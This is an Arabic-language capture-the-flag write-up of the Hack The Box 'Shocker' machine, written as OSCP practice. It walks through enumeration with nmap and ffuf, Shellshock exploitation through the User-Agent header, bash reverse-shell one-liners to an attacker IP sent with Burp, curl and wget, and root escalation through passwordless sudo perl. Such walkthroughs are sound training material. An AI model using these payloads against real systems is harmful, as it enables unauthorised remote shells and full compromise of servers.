Hack the box - HTB Shocker

بسم الله الرحمن الرحيم
هذه اول تدوينه من سلسله تدوينات لشرح حل تحديات مشابهه لاختبار OSCP
في هذه التدوينه سوف  اشرح اختراق جهاز Shocker في منصه Hack The Box  واستغلال ثغره Shellshock باكثر من طريقه

الخطوه الاولى فحص النظام باستخدام NMAP
nmap -A -T4 10.10.10.56

Nmap scan
نتيجه الفحص

مثل ماهو واضح من نتيجه البحث يوجد منفذ 80 مفتوح على النظام وسيرفر Apache

الخطوه التاليه هي التعديل على ملف etc/hosts ونضع عنوان IP واسم الجهاز ونتصفح الموقع
sudo vim /etc/hosts 

تجاهل علامه $

نتصفح الموقع الان
http://shocker.htb/

محتوي الموقع

لايوجد محتويات مهمه في الموقع ابداْ وحتى الشفره المصدريه مافيها شي مهم.
الان نحاول نبحث عن مجلدات مخفيه في الموقع.
راح نستخدم اداه FFUF
ffuf -u http://Shocker.htb/FUZZ -w /usr/share/dirb/wordlists/small.txt

شرح استخدام FFUF

-u نضع بعدها رابط الموقع ويتم اضافه FUZZ في نهايه الرابط
البرنامج راح يستبدل كلمه FUZZ بالكلمات في قائمه wordlist
-w نضع بعدها مسار قائمه الكلمات “wordlist”
cgi-bin/ هو المجلد الي اكتشف وجوده البرنامج

نلاحظ ان حاله طلب الصفحه 403 مما يعني ان ماعندنا الصلاحيه نتصفح المجلد بالمتصفح.
الان بنستخدم نفس الاداه FFUF مع تعديل بسيط بحيث نبحث داخل المجلد الجديد cgi-bin/ باستخدام امتداد pl , cgi ,sh

ffuf -u http://Shocker.htb/cgi-bin/FUZZ -w /usr/share/dirb/wordlists/small.txt -e .pl,.sh, .cgi

اضفنا على الامر السابق مسار المجلد cgi-bin
وايضا -e مع امتداد الملفات المراد استخدامها في البحث
في الامر الاول كان البرنامج يستخدم فقط الاسماء الموجوده في ملف “wordlist” مع استخدام المسارات المشهوره مثل html
مثلا
http://Shocker.htb/cgi-bin/ibrahim
http://Shocker.htb/cgi-bin/ibrahim.html
http://Shocker.htb/cgi-bin/user
http://Shocker.htb/cgi-bin/user.html
لكن مع اضافه -e اصبح يستخدم اسم الملف + الامتدادات
مثلا
http://Shocker.htb/cgi-bin/ibrahim
http://Shocker.htb/cgi-bin/ibrahim.html
http://Shocker.htb/cgi-bin/ibrahim.cgi
http://Shocker.htb/cgi-bin/ibrahim.pl
http://Shocker.htb/cgi-bin/ibrahim.sh
http://Shocker.htb/cgi-bin/user
http://Shocker.htb/cgi-bin/user.html
http://Shocker.htb/cgi-bin/user.cgi
http://Shocker.htb/cgi-bin/user.pl
http://Shocker.htb/cgi-bin/user.sh

حسب نتيجه الامر السابق نلاحظ ان فيه ملف جديد اكتشفناه بأسم user.sh
نحمل الملف من هذا المسار
http://shocker.htb/cgi-bin/user.sh
نفتح باستخدام اي محرر نصوص

محتويات الملف user.sh

نلاحظ ان السكربت يعطينا فتره تشغيل الجهاز وبما ان الملف امتدادته sh وموجود داخل مجلد cgi
معناته في احتماليه اصابه سيرفر الويب بثغره shellshock
توضيح للثغره.
عند تصفح اي موقع يتم ارسال قيم للسيرفر مثل host , cookie ,User-Agent
المفروض هذه القيم لاتخرج عن اطار سيرفر الويب لكن السيرفرات المصابه بثغره shellshock تتجاوز اطار السيرفر وممكن تنفذ اوامر على النظام بشكل مباشر فقط نقوم بتمرير هذا الكود مع احد القيم () { :; };
مثال
لو طلبنا الصفحه
http://shocker.htb/cgi-bin/user.sh
واعترضنا الطلب من خلال BurpSuite

اعترضنا الطلب من خلال BurpSuite

الجزء الايسر هو الطلب والجزء الايمن نتيجه الطلب
لو عدلنا على قيمه User-Agent وخليناها بهذا الشكل

User-Agent: () { :;} ; echo ; pwd

نلاحظ تنفيذ الامر pwd في المربع الازرق  user/lib/cgi-bin/
الان متبقي فقط نحصل على شيل.
نفتح منفذ لاستقبال الاتصال العكسي ” Revers Shell ”

nc -lvp 4445
نستبدل الكود السابق بهذا الكود لعمل اتصال عكسي,
() { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.5

عمل اتصال عكسي revers shell

لاحظ في الصوره السابقه حصلنا على شيل وايضا حذفت جميع القيم اسفل User-agent  لانها تسبب تعارض في بعض الاحيان ” الي حضر معنا البث الخاص بحل هذا الجهاز بيلاحظ المشاكل الي واجهتنا قبل نحصل على شيل”
توجد طريقه اخرى للحصول على شيل
نستخدم curl

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' http://shocker.htb/cgi-bin/user.sh

استخدام curl

ايضا نستطيع استغلال الثغره باستخدام wget
wget -qO- -U "() { :;}; echo Content-Type: text/html; echo; echo; /bin/bash -i >& /dev/tcp/10.10.14.5/4445 0>&1" http://shocker.htb/cgi-bin/user.sh

استخدام wget

الان الخطوه الاخيره هي تصعيد الصلاحيات
لو استخدمنا الامر
sudo -l
راح يوضح لنا ان المستخدم الحالي يستطيع تشغيل perl باستخدام sudo بدون باسورد

اسهل طريقه لاستغلال هذا النوع من الاخطاء في اعطاء الصلاحيات هو موقع GTFOBins
لو بحثنا عن perl بتكون النتيجه بهذا الشكل

تصعيد الصلاحيات

لو نفذنا الامر التالي
sudo perl -e ‘exec “/bin/sh”;’
راح نحصل على روت مباشره
لاحظ الصوره بالاسفل

تصعيد الصلاحيات

في المربع الاول اسم المستخدم قبل تنفيذ الامر
في المربع الثاني نفذنا الامر
اما في المربع الثالث نلاحظ حصولنا على روت
اتمنى ان تنال التدوينه على اعجابك
 @buhaimedi حسابي في تويتر
اذا عجبتك التدوينه اضغط على ايقونه تويتر بالاسفل وشاركها مع اصدقائك